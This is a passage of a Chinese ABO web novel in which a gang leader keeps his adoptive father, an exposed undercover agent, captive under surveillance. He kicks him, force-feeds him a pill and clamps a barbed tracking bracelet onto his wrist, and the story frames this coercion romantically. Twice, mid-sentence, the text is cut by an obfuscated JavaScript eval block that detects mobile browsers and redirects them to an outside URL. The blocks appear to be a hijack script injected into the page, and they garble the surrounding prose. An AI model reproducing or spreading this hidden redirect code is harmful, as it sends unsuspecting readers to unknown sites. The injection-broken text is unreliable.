“还以为你这是说说而已,没想到真把人关起来了啊。”金文书坐到旁边:“这么舍得对你那小情人。” “必要的手段而已。”沙发另一边,顾承厌端起茶杯,说话间眼底没任何异色。 “这样啊……不过你这点苦哪儿能算苦啊,顶多算个刮痧,像他这种人就必须疼得够狠才能完全驯服,比如精神药剂什么的。” “不可能。” 顾承厌几乎是立刻便给出了警告:“金副总,最好别把心思打他身上。” “啊抱歉,是我唐突了。”金文书笑笑,从茶几下取出一副国际象棋:“下棋吗?我们好像很久没下过了。” …… 第四天清晨,沈闻起床时眼底明显带着淤青。 有了第一次,后面信息素继续紊乱只是时间问题。凌晨不知道几点,沈闻被一阵熟悉的刺痛惊醒,在黑暗中坐着缓了好几十秒才合着被子继续躺下。 而这一切全都实时反馈到了顾承厌手上,天花板角落里就有一个摄像头,由于位置太高加上没有称手工具,沈闻一直没能将其破坏掉。 摄像头从凌晨起就一直在闪,沈闻从床上起身,先是瞥了眼对面天花板上的摄像头,然后才缓缓走向卫生间,眼底因对方不透风的监视而划过一抹烦躁。 镜子里的人脸色肉眼可见地憔悴,轻抿的嘴唇简直毫无血色。不见天日的囚禁以及信息素的紊乱不出所料都对他产生了不小的影响,沈闻能感受到自己身心状态都在明显下降,并且这种状态还在愈演愈烈。 “呼……” 冷水洗了把脸,沈闻强制自己从烦躁中清醒。 没关系,也不是第一次出现这种情况了,沈闻自认自己忍一忍总能忍过,只可惜他显然低估了紊乱的严重程度。 疼痛间隔由每隔半天一次,变到三小时一次,连每日晨练都在影响下不得不中断一次,再后来,直到第六天,沈闻几乎在床上枯坐了一整夜,视线时不时往床头柜上瞥过,却又触电般立马收回。 而门外不出意外始终没一人开门进来过。 眼看计算后的时间已经快接近天亮,柔软的床铺间,沈闻抓了把头发又一次起身打算上个厕所,猝不及防,后颈却再次传出一阵剧痛。 来势汹汹的痛感几乎是瞬间便将承受之人完全吞噬,耳边一声重物落地的闷响,沈闻甚至没来得及看清自己撞掉了什么,下一秒,铺天盖地的眩晕感便直冲头顶而来,原本只存现片刻的剧痛此刻却丝毫没有消褪的意思反而变本加厉蔓延遍了全身! “嘶……” 倒在地面的人倒吸一口凉气。 眼前一阵阵发黑,终于意识到自身状态实在不对,沈闻抿着唇,强撑着身体从地面坐起,靠在角落重重喘了两口气,直到完全适应身上的疼痛。 不能再等了,自己必须马上离开这个地方,否则后面情况只会越来越遭。 私人休息处的守卫应该不多,平时这个点顾承厌也不会查看监控,只要不引起太多人注意,他还是能有30%的把握从这里逃出去。 “老板,真的不需要让人进去替沈先生看看吗?这两天他状态似乎都一直很差。” 早上七点,顾承厌正坐在餐厅吃早餐,一边听佣人下来的汇报。 其实有监控在,顾承厌原本并没有再另外安排人给自己报告沈闻的情况,今天这事纯属意外,是那人自己找上来汇报的。 “我虽然不懂那些,可是……”棕发的少年显然还想再说点什么,但视线突然对上对面,一瞬间少年意识到自己的越界陡然低下头: “对、对不起老板,我不该管这么多的。” “他命硬着,没那么容易出事。”提到沈闻,顾承厌面上没任何变化,只是拿在手上的筷子不知何时已经放回桌面。 这几天就从监控来看沈闻除了偶尔会半夜惊醒,其他时候没有任何异常,再者沈闻一个S级Alpha自身体质也不可能弱到关一两天就出问题。 一边想,顾承厌还是拿出手机,这一看便刚好看到沈闻站在门口的一幕。 那少年就在一旁看着,见到监控画面时心下亦是一惊,刚想开口替人解释两句,顾承厌便已然丢下手机从椅子上起身。 “老板,等一下……” 椅子与地面摩擦出“刺啦”一声刺响,眼看顾承厌阴沉着张脸头也不回往楼上赶去,少年犹豫片刻,还是跟上前。 楼上,在脑海中建构出个条大致逃跑路线后,沈闻从口袋掏出一根不知何时藏有的铁丝,低头将它弯折到一个弧度,接着扶着墙从地上起身,指尖颤抖着将铁丝送进钥匙孔。 额头不断有冷汗滚落,门口的人所有注意都集中在手上,并没注意到背后监控突然闪烁两下。 许是状态不佳,沈闻这会儿足足比平时多花一倍的时间才终于撬开那扇房门,随着钥匙孔发出“咔”一声脆响,沈闻正欲松口气,房间门却突然从外面被拉开。 手指长的铁丝下一秒便掉落在地面,“叮当”一声轻响,沈闻抬头,还未来得及看清来人的脸,突如其来一道力道便狠狠踹上他小腹位置! “唔……”沈闻闷哼一声,眼前有瞬间发黑。 顾承厌收着力气踹的,他知道若他不收力恐怕能一脚踹折沈闻的骨头。但大概是心里憋着口气,下脚时本该落在对方右手处的短靴竟偏了点地直接落上沈闻小腹,脚下一阵柔软触感,沈闻当即吐出一口血沫,等顾承厌反应过来,面前的人已经倒在地面面色惨白蜷缩成一团。 “沈闻?” 顾承厌心底一凉,身上的怒气仿佛都在一瞬间被一瓢冰水从头到尾猝然盖灭。思维冷静下来刹那,他这才发觉整个房间的信息素浓度有些高得不正常,仿佛一大瓶玫瑰酒打翻在整片空气,顾承厌两步上前,视线一眼便看到对方后颈红肿的腺体。 “沈闻?沈闻!快去叫人备车!” 倒在地面的人嘴角沾着血渍,偏长的头发几乎盖住他小半张脸,一双因为疼痛而有些涣散的眼睛还睁着,视线缓缓落在顾承厌身上,声音微弱: “滚,别碰我……” 喉咙里堵着口血,沈闻话音刚落,立刻便偏过头咳嗽两声,鲜红的血液自嘴角溢出一下便染脏衣领。 本就难受的身体在那一脚后更是完全失了力气,顾承厌未置一言,不等沈闻继续开口,打横便捞起地上的人径直往外走。 外面一群手下闻言已经匆匆带着医生赶上三十二层,下楼的电梯缓缓闭合,沈闻耷着眼皮没什么力地睡在顾承厌怀中,感受到对方抱着自己的手都在抖。 “坚持一下,很快就到了。”顾承厌的声音冷静中带着一丝不正常。 真是好笑,分明是自己这样也是他害得,现在却又装作一副十分着急的模样。 沈闻面无表情思考着,试图挣脱对方束缚到最后还是无济于事,只能任由顾承厌这样紧紧抱着自己。他想自己这时应该保持清醒,历来的习惯也不断催促他继续保持清醒,但眼皮却完全不受控制地在钝痛下越来越沉。 “沈闻,把药咽下去。” 顾承厌似乎又凑到耳边说了什么,彼时俩人已经上了车,黑色大G飞速行驶在路上,窗外景色就像潮水模糊不清极速后退。 沈闻半合着眼,不知是没听到还是单纯不想回应,顾承厌直接伸手捏住他下巴,小小一片不知道是什么的东西被强行塞到舌根,一阵反胃,药片却也顺理成章滑入食道。 “好了,没事了,睡会儿吧……” 车辆还在往前飞驰,后背被人一下一下轻轻抚过。沈闻终究还是没撑住,倒在顾承厌怀里沉沉睡去。 “初步判定为先天性信息素紊乱导致的暂时性休克,这种病发作起来搞不好会出事的,给的药每天都得按时服用不然后面只会越来越严重昂。” VIP单人病房内,顾承厌一边听着主治医生的叮嘱,视线落在过往病史那一栏,半晌回不过神。 先天性信息素紊乱综合症。 据说这种病症从未分化起就会埋藏在腺体里,伴随腺体分化日益明显。市面上目前并没有彻底治愈的方法,只能通过药物控制,是一种伴随终身的病。 “不过就沈先生之前的体检报告来看,他这几年信息素一直处于一个相对稳定状态,紊乱应该是最近才发生的。” “好在这几年相关科研发展的不错加上沈先生体质不差,只要能做到按时吃药别让腺体再受刺激,过不了多久就能恢复断药。” …… 主治医生交代完一大堆内容后拿着东西出了病房,离开时沈闻还没醒,好看的眉头微微蹙起,像在做着什么不好的梦。 顾承厌等人离开也终于放下手中的单子,低头,视线沉沉落在沈闻身上,不知在想什么。 - “这个孩子的腺体有问题啊?用不了,拿去###吧。” “那边不是缺人吗?送去上面吧,别浪费了。” “不是吧沈中尉,给你一个头衔你还真当自己有官职了?哈哈,你是很厉害,综合排名第一啊,但那又怎样,还不是要被外派出去当弃子……” “嗡——” 耳边一阵嗡鸣,沈闻陡然从梦中惊醒。 夜里十二点半,整间病房只剩墙壁上的电子时钟还时不时发出“滴、滴”的轻响。周围萦绕着一股淡淡的消毒水味,但并没有信息素的,房内光线已经调到最暗,沈闻动了动身体正欲起身,沙沙的微响便瞬间惊醒靠墙而睡的人。 顾承厌怎么守在这儿? 沈闻起身的动作一顿,后知后觉感受到后颈处的刺痛,轻吸一口凉气又重新躺回床上。 几乎是立刻,顾承厌三两步走到他面前,伸手轻扶上沈闻右手。沈闻顺着对方的 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“我不知道你的紊乱症会这么严重,停药不是有意的,这次是我不好。” 外面那群人估计这辈子都想不到顾承厌也会有主动低头道歉的一天,但实实在在,他就是这样说了: “我向你道歉” “所以呢?”沈闻不为所动。 “我不希望你误会。” “真想道歉就现在放我走!”躺在床上的人声音突然高了高,但可能因为没什么力气,听上去还是有种莫名的无力感: “我不是你的所有物,顾承厌,你不可能关我一辈子。” “……”旁边的人沉默数秒,沈闻说完也别过脸闭眼就打算继续睡。 病房里再次寂静下来,良久,久到沈闻以为背后之人打算就这样看自己看一晚上时,顾承厌终于开口,语气平静如常: “我不会放你走的,除了这个,你想做什么都行。” “你不喜欢消毒水的味道,正好我在附近有一处私人住宅,明天早上检查结果下来就接你过去。佣人都经过严格筛选不会出问题,你有什么缺的都可以跟下面的人说。” “呵。”像是对对方这个回答早有预料,沈闻闻言只是冷笑一声,合着眼不再作任何回应。 顾承厌还坐在床边,视线定定落在沈闻灰色蓬松的后脑勺,良久,直到确定对方不会继续与自己说话,才缓缓起身: “好好休息,干爹,明天检查结果出来我们就去越庭。” 大概是注射了药物的缘故,这一觉沈闻依旧睡得很沉,直到第二天上午九点才幽幽转醒。 病房里这会儿没有其他人,消失了一个周的阳光从窗外散落,映在床上之人明显消瘦的脸颊。 身上的不适感已经消的差不多,除了小腹一块儿淤青,药物在短期内对信息素紊乱的压制效果还是十分显而易见,至少不动就已经不疼了。 沈闻揉揉眉心坐起身,视线往四周打量一圈,确认周围没其他隐藏的摄像头下床走向卫生间。刚合上门,病房大门被人敲响: “沈先生,我进来了。” 没任何要经过同意的意思,话音刚落,端着食盘的护士便径直推门入屋:“先生,您在里面吗?” “……你觉得呢?”沈闻回复。 “早饭给您放桌上了,还有平衡信息素的药,您别忘了吃。” 那护士说着把东西放上小桌,转身往回走。洗手间的门就在房间大门旁边,进门出门都得从那儿路过,而那护士第二次经过洗手间大门时,不着痕迹往门把手上一擦。 一张小小的纸条便悄无声息滑进门缝。 门后,沈闻站在洗漱台前看着纸条掉落在地,地上有水,纸张落在瓷砖表面很快就被水渍沾湿。圆珠笔留下的墨迹也一起被晕开,沈闻俯身捡起纸条,上面白纸黑字只草草落了两行字 ——特殊情况,自行解决。 另:裴林已回一区 …… 早知道SAN已经顾不上自己,闹出这么大动静,上头这时还能派人送个信简直算是难能可贵了。沈闻无言看了手上纸条两秒,随手一扔,纸条便顺着抽水马桶“轰隆”的水声彻底淹没在下水道。 洗手间的门打开,房内小桌上放着刚送来的早餐,以及白纸包的一小包药。斜上方的摄像头闪烁两次,顾承厌大概在看他。 沈闻面无表情拉开一条椅子坐下,拿勺,小口小口喝起桌上瘦肉粥。直到一碗粥见底,桌边人擦擦嘴拿起一旁的药,摄像头才终于不再闪烁。 周围难得彻底清净。 沈闻就着温水咽下那两片西药,好不容易能有机会自己安静会儿,还没来得及挪位,下一秒,门外便陡然传来一声巨响! 5. CN手环 突如其来的炸响几乎震得整个六层都晃了两晃,声波冲击耳膜,沈闻猝然起身,视线紧接着落向门外。 谩骂、击打声……各种声音在巨响造成的短暂空白结束后如泄闸洪水陡然冒出头,其中还掺杂几个熟悉的声音,那是顾承厌的人,而声音的来源正好就在一门之隔的走廊上。 “他妈的反了天了!居然敢在黑鸟的眼皮底下闹事!” “拦下他们!别让这群人靠近609!” 609,正是沈闻所在病房的门牌。 沈闻皱眉站在小桌边,还没来得及听清外面到底什么情况,病房门便被从外向内重重撞开。 顾承厌手下某个A级Alpha背朝地摔入门后。门外,一大群生面孔围堵在走廊。大概没想到会有人敢直接到这里闹事,顾承厌在六楼留的手下并不多,眼下敌众我寡,留在门口的几人应付起来明显十分吃力。 “没想到沈少校在联盟地位还挺高啊,居然一下子来了这么多人!”其中一个守卫一边反击,随口讽刺。 “都进医院了还想着逃,是嫌自己命太长了?” 沈闻:……? 外面一群人来者不善,手上甚至还有枪支,留守的几人只随口讽刺两句,很快便闭了嘴应接不暇投入战斗。 入侵者并没有使用枪,准确来说,自病房门被撞开后就没有人再掏出枪。门口走廊上已经乱做一团,甚至还有几人突破防线直接进到了门后,数道人影包围上前,思索三秒,沈闻还是抄起旁边的花瓶。 哐当——! 本就混乱的局面因着沈闻的加入瞬间变得更混乱了。 被一瓶开瓢的男人脑子还有些发懵,旁边两个同伙已经冲上前要将人制服。更多的人堵在门口,顾承厌留的人自顾不暇,只能一边死死拦截在门口,时不时回头查看,脸上疑惑与惊讶交杂。 房间内,余光瞥到一抹黑色闪过,意识到对方在掏枪,沈闻面色一沉当机立断立马去拦那人动作。 周围有三个Alpha,两个A,甚至还有一个S级,在此之前沈闻完全没见过这些人,但可以肯定对方并非来自SAN。 不是SAN,在接近自己过后却也没第一时间开枪,而是等交手后才后知后觉? “银先生如果坚持反抗,我们将采取强制手段。” 疑惑之际,为首的Alpha突然开了口。 “银”是沈闻卧底黑鸟的行动代号,除SAN内部以及那天在场的顾承厌几人不可能再有其他人知晓,可眼下这人确确实实叫出了这一代号,沈闻心底当即一沉,灰眸中神色亦更沉了几分: “谁派你们来的?” “这您不必知晓。” 对方不肯正面回应,只是趁沈闻愣神刹那,一下挣脱束缚将枪抽出。 抽出的枪支当场便上了膛,沈闻迅速后退,背后却突然出现另一道身影,眼看通着电的电棍就要从头劈落,被围困中间的人当机立断侧身去躲,左手卡上背后那人手腕同时手上用力将人往前一拽! 电光火石之间,那人只觉手臂都要被生生扯断,整个人转眼间便被沈闻扯到身侧当做武器甩出,整个过程完成下来也不过短短两秒,对面Alpha被撞击到一个踉跄,扣枪动作被挡,但枪还是响了。 一声枪响,准确来说是两声。 两声枪响几乎重叠在一块儿,一颗子弹从门口穿入室内,另一颗从走廊尽头越到门外径直从门口开枪之人太阳穴位置穿过! 子弹穿到身前瞬间,沈闻立马甩开身边的人往旁边躲去,然而还是晚了一步。 飞速前进的子弹就仿佛一粒流金,笔直朝向沈闻小腿方向袭来。足以将骨头都打个对穿的尖锐划破空气,沈闻躲避及时,子弹却还是堪堪从小腿中段擦过,在上面留下道三寸长的血口。 “沈闻!” 顾承厌的声音从门口传来。 眼看情况不利,房内三个Alpha立马跳窗而逃。钢化的玻璃应声而碎,下一秒,顾承厌已然冲进房间,收起枪加快脚步来到沈闻面前: “还有没有哪里受伤?” 被子弹划开的小腿火辣辣得疼,伤口有点深,才短短数秒泅出的血便已经将裤腿完全浸湿。沈闻额间也渗出了汗,但还是拒绝顾承厌的搀扶,自己扶着墙坐到椅子上。 “伤口得缝针才行。” 难得的,顾承厌这次并没有固执地要扶人。 见沈闻抗拒,他皱了皱眉,却也还是收了手,抬头朝门口递去一个眼神:“叫个医生过来。” 悦康私人医院,一所联盟三区医疗水平最高的私人医院。院内来治疗的人大多非富即贵,即便是在混乱的三区,这里发生的动乱还是少之又少。 今天这场完全是这半年来第一场意外。 顾承厌站在门口交代完事,回头,沈闻小腿处的伤已经缝合完毕。一圈圈绷带往上包裹了两层,顾承厌就这么站旁边一直看着,直到医生收拾好工具离开病房,病房内只剩他们两个,他才开口询问: “干爹认识那些人?” 回答他的依旧是沈闻垂眸的沉默。 顾承厌等了两秒,没得到回复,也没在继续问:“先回越庭,那里更加安全。” “顾承厌,你真打算一直关着我?”沈闻终于烦躁开口。 “只要干爹听话,等过阵子我把这些杂碎都清理完了,会考虑让你一点自由。”顾承厌回答,俯身作势去揽对方肩膀: “干爹,我只有你了,乖一点,别让我用强制手段带你走,麻醉什么的打多了对身体不好,你说呢?” “疯子……”沈闻抿着唇,偏过头想躲开对方触碰,只可惜这一次也依旧没能躲过。 黑色大G从医院正门离开,缓缓驶向别墅区,最后在别墅大门外圆环形的喷泉边停下。 阴天,即使临近中午也没什么阳光,满地花草绿植皆被掩盖在云层下。说是别墅区,但实际这方圆几里内只有一幢别墅,此时就立在沈闻面前,沈闻抬眸,便能看到眼前这无比熟悉的牢笼般四层多高的房屋。 “差点忘了,你应该来过这儿,毕竟前年这撞别墅刚拿出拍卖时是顾老爷子拍下来的,这地方环境好,离黑鸟总部也近。” 从另一边开门下车,顾承厌绕一圈到沈闻面前:“可惜他还没来得及搬进来,就先一步落得个车毁人亡的下场。” 话语中没有半分可惜的样子,毕竟眼前之人比谁都清楚顾衷为什么会车毁人亡。沈闻冷冷瞥顾承厌一眼,没说话,双手插在上衣口袋收回视线。 “干爹,能自己走吗?” 黑色大衣外套下一秒便被罩在肩上。沈闻反抗无果,只能任由大衣披在自己肩头面无表情往前走去。顾承厌跟在他身后半步的地方,一边走,只听面前的人回复: “别叫我干爹,恶心。” - 中午十二点半,别墅内。 考虑到对方腿上有伤,顾承厌并未带着沈闻在别墅内多做走动,只是带人上了三楼,特意给沈闻收拾出来的、走廊尽头采光最好的那间房间放了东西,便领着人去到餐厅。 别墅内佣人数量并不多,更多的还是守在周围的人,仅仅从大门走到房间,一路上,沈闻光透过窗户注意到的,就已经有四五人守在暗处。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17318939|199019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但相比之下,在这里还是比在黑鸟大楼内部逃跑简单。 理论上是这样的。 下到一楼餐厅,沈闻一边默默吃着碗里的饭,低着头,脑海中不知不觉已经规划出好几条逃跑路线。 他的身边,顾承厌已经放下筷子,一边监督般盯着沈闻将碗里的饭菜吃干净,朝对方招招手: “过来。” 沈闻沉默着跟顾承厌走到一楼客厅。 客厅茶几上放着一只银白色手提箱,箱子没关,其中纯黑色的手环就这么展示在箱内,边缘一圈带着排细小的倒刺,内侧定位仪闪着红光,明晃晃昭示着持有之人内心深处最阴暗的想法。 “可能会有点疼。”顾承厌走至茶几前,拿起箱边一瓶酒精喷雾。 沈闻就这么站在他身后不远不近的一个位置,没动。 “我试过,这个定位器只有刚开始会难受,几个小时后就没任何感觉了。” 见沈闻不动,顾承厌便自己走上前,漆黑的眼眸低垂着凝视向面前之人:“听话。” 沈闻依旧沉默,但还是随了对方的愿,缓缓坐到沙发边。 顾承厌随后坐到沈闻身旁,骨节分明的手轻拖起对方左手手腕,仿佛对待一件珍贵的瓷器,温柔、又仔细替对方消了毒,再拿起箱子里的手环,往上一扣。 “咔哒”一声,沈闻默不作声皱了皱眉。 CN定位手环就这样被戴上左手,手环边缘的小刺就像打耳洞那般触感,转瞬之间便深深扣进皮肉。由于设计的特殊性,这种手环取下难度是普通定位器的几倍不止,即使有顾承厌的指纹解锁,取下的过程也费时费力,并且不可避免会让手腕受到二次伤害。 “好了。” 比起取下,这个手环戴上手的时间也不过短短数秒。顾承厌将箱子重新合上,起身把东西拿到柜子中收好,再回来时手上已然多了杯温水以及一小包药片: “下午我还有事,干爹可以自己休息,有什么需要就跟手底下人说。” “嗯。”沈闻终于又有了反应,淡淡应了声,接过水杯站起身就准备往楼上走。 顾承厌见状也没阻拦,他知道自己这一举动的确有些偏激,可没办法,以沈闻的实力,单单一队守在外面的安保恐怕看不住他。 只好委屈他再受点疼。 台阶前,沈闻前脚刚跨上楼梯,后脚别墅大门便被按响。仿佛早有约定,门铃刚响,大门便自动打开。 蒋宣见到沈闻时整个人都定在了原地。 一个多周前那场“大清查”可谓顾承厌上位以来到现在爆发规模最大一场混乱,黑鸟内部数不胜数的沉珂蛀虫被掀发出来。 当时乱子很多,当然其中最令人震惊的消息还要当属沈闻这个在黑鸟干了五年,一个为数不多的在顾衷与顾承厌手下都得到重用的半元老级人物,居然会是一区过来的卧底。 原本还以为沈闻已经死在了地下二层,看在共事一场的份上蒋宣甚至还想过要不要替人收个尸,但现在…… 门口站着的人神情一愣,半晌不知做何回应。直到门后有人一句话,遭受精神暴击-10086的蒋宣才终于回神。 “二区的事解决了?” 顾承厌说得轻描淡写,仿佛丝毫没注意到对方几乎掩盖不住的惊讶,也没打算向对方解释什么。一旁沈闻也自然而然将目光收回,继续往楼上走。 被突然问话,蒋宣终于意识到自己的失态,视线匆匆从楼梯底下沈闻的身上一晃而过,便半点不敢再看向沈闻: “啊?哦哦,解决了……藏哥也在路上,还有十分钟到。” 6. 炫耀你的宠物? 即便有了手环限制,顾承厌还是没允许沈闻到别墅以外的地方活动,只允许对方待在别墅内。 下午顾承厌与蒋宣几个谈完事便出了门,一直到晚饭时间也没回,于是偌大的别墅内,便只剩两三个顾承厌安排的佣人,以及一位煮饭阿姨还在厨房忙进忙出。 百无聊赖之际,眼看几个佣人都没在客厅,沈闻试探性往门口走去。 “叮——抱歉,您暂无开门权限。” 刚扶上门把,电子锁便发出一声提醒,引得窗外几道目光全都齐齐投往这边。 沈闻面无表情收回手,几个别墅内的佣人闻声都往客厅来查看情况,见到的却只有坐在沙发间看电视的沈闻。而另一边,大门发来异常提醒时,顾承厌正查看昨天没来得及查看的沈闻的体检报告。 轻度贫血,信息素中度紊乱,除此之外,没再有其他大的问题。 好好养着还能调理回来。 随手划掉那条异常提醒,顾承厌正盘算着有机会再带入去做个检查,屏幕上又弹出一条信息,是蒋宣的。 ——查过了,医院那里的确不是SAN动的手,不过能确定动手的人来自一区那边,具体组织待查。 收到医院动乱消息时顾承厌第一反应便是SAN要来救人,毕竟康悦不比黑鸟及越庭,那里不算顾承厌的地盘,下起手肯定会更容易些。但当看到来的人居然在朝沈闻开枪后,这个想法又被立刻否决。 如果不是SAN,还能是谁会想冒着得罪黑鸟的风险带走沈闻? ——继续查,有发现第一时间告诉我。 回复完这条消息,车辆也缓缓在酒店大门外停稳。夜色下,金碧辉煌的酒店灯光闪烁,戴着白手套的侍者弯腰拉开车门,顾承厌下车,一旁的侍者立马上前恭恭敬敬带路: “请跟我来,林夫人已经在二楼包厢等候多时。” _ “承厌来了啊,快坐吧,阿眠,还不叫人。” 小厅内放着舒缓的钢琴曲,身着红色礼裙的女Alpha坐于席间,见到人来,立马笑着站起身。 顾承厌礼貌喊了对方一句“兰姐”,视线随着对方动作望去,一位面容素净乖巧的男Omega正站在一旁,交叠在身前的手微微攥紧: “承厌哥,好久不见。” “嗯。”顾承厌神色没太大变化,朝对方微微颔首便拉开椅子坐下。 那位叫林眠的S级Omega随后也坐到顾承厌身边,明明圆形的大桌坐十二个人都绰绰有余,在场又只有三个人,但他还是坐得离顾承厌十分近,近到仿佛夹菜动作大点都能撞到旁边的人。 “麻烦离我远点,碍事。” 菜才只上两道,顾承厌已经忍无可忍般突然开口,语气中透露出一股不耐。 似乎没想到对方会这么不给面子,好歹林姜兰也是在顾承厌没上位时就已经开始与对方合作提供给对方不少资源,作为林姜兰唯一的儿子,林眠被这样不留情面的拒绝,面上顿时就有些挂不住。 “哎呀,小眠也不是故意的嘛,谁知道那服务生把椅子排得这么密呢。” 林姜兰干笑两声:“来,小眠,把椅子移过来点。” 考虑到双方还有合作要继续,顾承厌也没多说什么,端起一旁酒杯饮下一口。 眼看菜都上齐,服务生端上最后一盘菜便懂事地全部关门离开,一直坐在一旁的林姜兰终于有些坐不住,脸上带着笑意,缓缓开口: “承厌啊,你看我们这次来三区来得匆忙,小眠一个Omega诸多事情都不太方便,我就想着吧,让小眠去你们那边暂住一会儿,反正你就一个人,那边地方也大空房间也多不是?” …… 夜里九点半。 亮堂的客厅内,沈闻正坐在沙发上,晚间新闻播报着近几日联盟一区军事组织SAN总司令换届的事。这个职位一直由联盟主席台直接认命,不出意外,任职人也还是傅家那位实际掌权人—— 傅谨松。 同时也是沈闻名义上的收养人。 摄像机下,身着银白军装的人已经六十有余,身体却依旧结实硬朗,讲话时一双鹰隼般的眼睛直视前方,即使他正笑着,也丝毫显不出亲切。 会议大厅也还是沈闻记忆中五年前的那个模样,只有摆在路边的花篮翻了新,其余陈设都一层未变。非实时直播的画面还在主持人与现场画面中来回穿插,当介绍到傅谨松个人履历时,画面从主持面一转,镜头先是对着台下扫视一圈,接着立马切上讲台。 即使是在电视里,沈闻还是侧眸,在镜头刚切到发言人正脸时下意识移开视线。 思绪又回到今早从医院回越庭的那个时候,当时沈闻跟在顾承厌身后下了电梯,在电梯门打开刹那,一个行色匆匆的男人挤进电梯,甚至不小心撞了一下电梯门,等俩人走远,沈闻手心俨然多出今天收到的第二张纸条 ——逢九日,东码A区有船。 比起上一张的潦草随意,这张纸条写下的字就显得十分刚劲工整,就跟镜头下傅谨松给人的感觉一模一样。 “还不睡?” 愣神之际,沈闻刚将视线从电视上移开没多久,转头就又撞上另一个人。 顾承厌站玄关处换了鞋,望着对方明显有些走神的样子走到沙发边,接着目光落向电视屏幕:“看新闻?” “没事干。”沈闻回过神,眼皮都没抬一下,摸到沙发角落的遥控器下一秒便将电视关了。 像有意要躲避与对方的接触,关掉电视,沈闻沉默地立马从沙发上起身,转头就准备上楼回房间。电视屏幕上“goodbye”的字样都还未消失,茶几边,沈闻刚绕到另一侧,然而没走两步,手腕便被身后的人一把拽住再往后一拉。 “跑什么?”顾承厌力气很大,只一拉便将沈闻又拉回原地。 结实有力的手臂下一秒便牢牢揽上腰间,明明俩人都是S级Alpha,力气间的悬殊却大得离谱。沈闻奋力挣扎几次却还是挣扎不开,反观背后顾承厌,手上动作却十分游刃有余: “身上还有哪里难受吗?手腕有没有不舒服?” “不舒服你就会让我摘下来?” 似乎真的厌恶顾承厌到了极点,即便挣扎不开,沈闻还是挣扎得越来越厉害,浑身上下每一个细胞上都无不写着“抗拒”两字。 “但我会让人改进。” 顾承厌说着,下巴搭在对方肩膀,双手环抱的动作让他几乎将沈闻整个都圈进了怀里,淡淡的洗衣粉混杂烟草的味道涌入鼻腔,紧接着,能明显感受到沈闻腿上不受控制软了软,挣扎的双手却依旧继续。 “别乱动,我只是想抱干爹一会儿,就一分钟。如果干爹执意乱动下去,我可就不能保证自己会不会对干爹做出点什么了。”顾承厌手上更用了点力,“去洗澡吧,今晚到我房间睡。” “我自己有房间。”沈闻语气不善,但听了对方的威胁,还是没再继续挣扎。 不知是不是对昨天的事心有愧疚,被沈闻拒绝后,顾承厌竟也没再次强行要求,只是轻轻摸上对方小腹,隔着层衣服布料,不用看,都知道底下大片淤青是怎样一副狰狞的模样。 脑海中再次浮现昨天早上的场景,顾承厌心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17318940|199019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 底有一瞬间发软,语气也不自觉更轻了些:“那算了,药在你房间床头第二个抽屉,记得每天都要涂。” “早点休息,干爹,晚安。” _ 逢九日,而俩人回越庭的日子刚好是九号,距离下一次开船还有整整十天。 组织上对于已暴露卧底的态度向来是事不关己,因为暴露的卧底通常情况下根本撑不到救援,也因此,即便沈闻是傅谨松亲手培养出的棋子,想离开越庭,能靠得也只有自己一个人。 万幸顾承厌这几天工作依旧很忙,他也说话算话的,在沈闻身体恢复之前没动过沈闻哪怕一点,否则就沈闻目前身体的状况来看,这会儿的处境只会更遭。 “沈先生,今晚想吃点什么?” 说话的是厨房负责做饭的阿姨,一个beta,姓孙,身材偏矮胖,平时说话总是带着笑容,以至于眼尾的鱼尾纹比同龄人看上去都要更深些。 据孙姨自己描述,她是近段时间才开始进越庭工作,日常工作就是负责沈闻的一日三餐,至于之前这里有没有其他人就不得而知。 而顾承厌给她的菜单里只有一些基本的必备营养餐,因此每次做饭前,她都会习惯性问一句沈闻。 “就按昨天晚上的做吧。” 沈闻待在越庭养伤这几天倒是与这位孙姨相处得不错,偶尔顾承厌不在时,他还会下楼帮着对方一起做饭。 “哎呀,您放着我来就行,老板说您身上有伤,得静养着。” 锅里的鱼汤咕嘟咕嘟冒着泡,沈闻刚拿起水槽边放着的胡萝卜,下一秒,孙姨便赶忙上前招呼他将东西放下。 “没事,一点小伤而已。”沈闻拿着萝卜,放水下清洗片刻,接着拿刀干净利落给萝卜刮起皮:“反正闲着也是闲着。” “哎,我也是说,您有空也可以多出去走走嘛,多出去晒晒太阳也更有利于身体恢复不是?” 孙姨也颇为赞同地点头,沈闻在一旁仔细给萝卜削皮,闻言很缓慢笑了笑,没继续说什么。 当天晚上顾承厌很晚才回到越庭。 他回来时,一边往楼上走还在一边打电话。沈闻睡在卧室,并不能听太清他在说什么,只有一些只言片语,沈闻刻意听着,却还是只听到断断续续一句: “……包场,我会带人去……不劳周先生费心。” 电话到这儿便结束了,门外响起一声关门,沈闻翻了个身准备继续睡,但还没睡着,房间门便被自外向内打开。 沐浴露的清香裹挟淡淡的烟草迎面涌入房间。 “干爹,你没睡着吧?” 不像疑问,倒更像一句陈述。 沈闻没答话,只是微微睁眼,视线静默落向面前逆光而站的男人。 顾承厌:“明晚有个酒会,到时候我带你一起。” “不去。” “别着急拒绝,只是去吃个饭,很快就回来,而且你不也想出去走走?”顾承厌坐到床边,伸手替人掖了掖被角。 “去做什么?向那些人炫耀你的新宠物?” 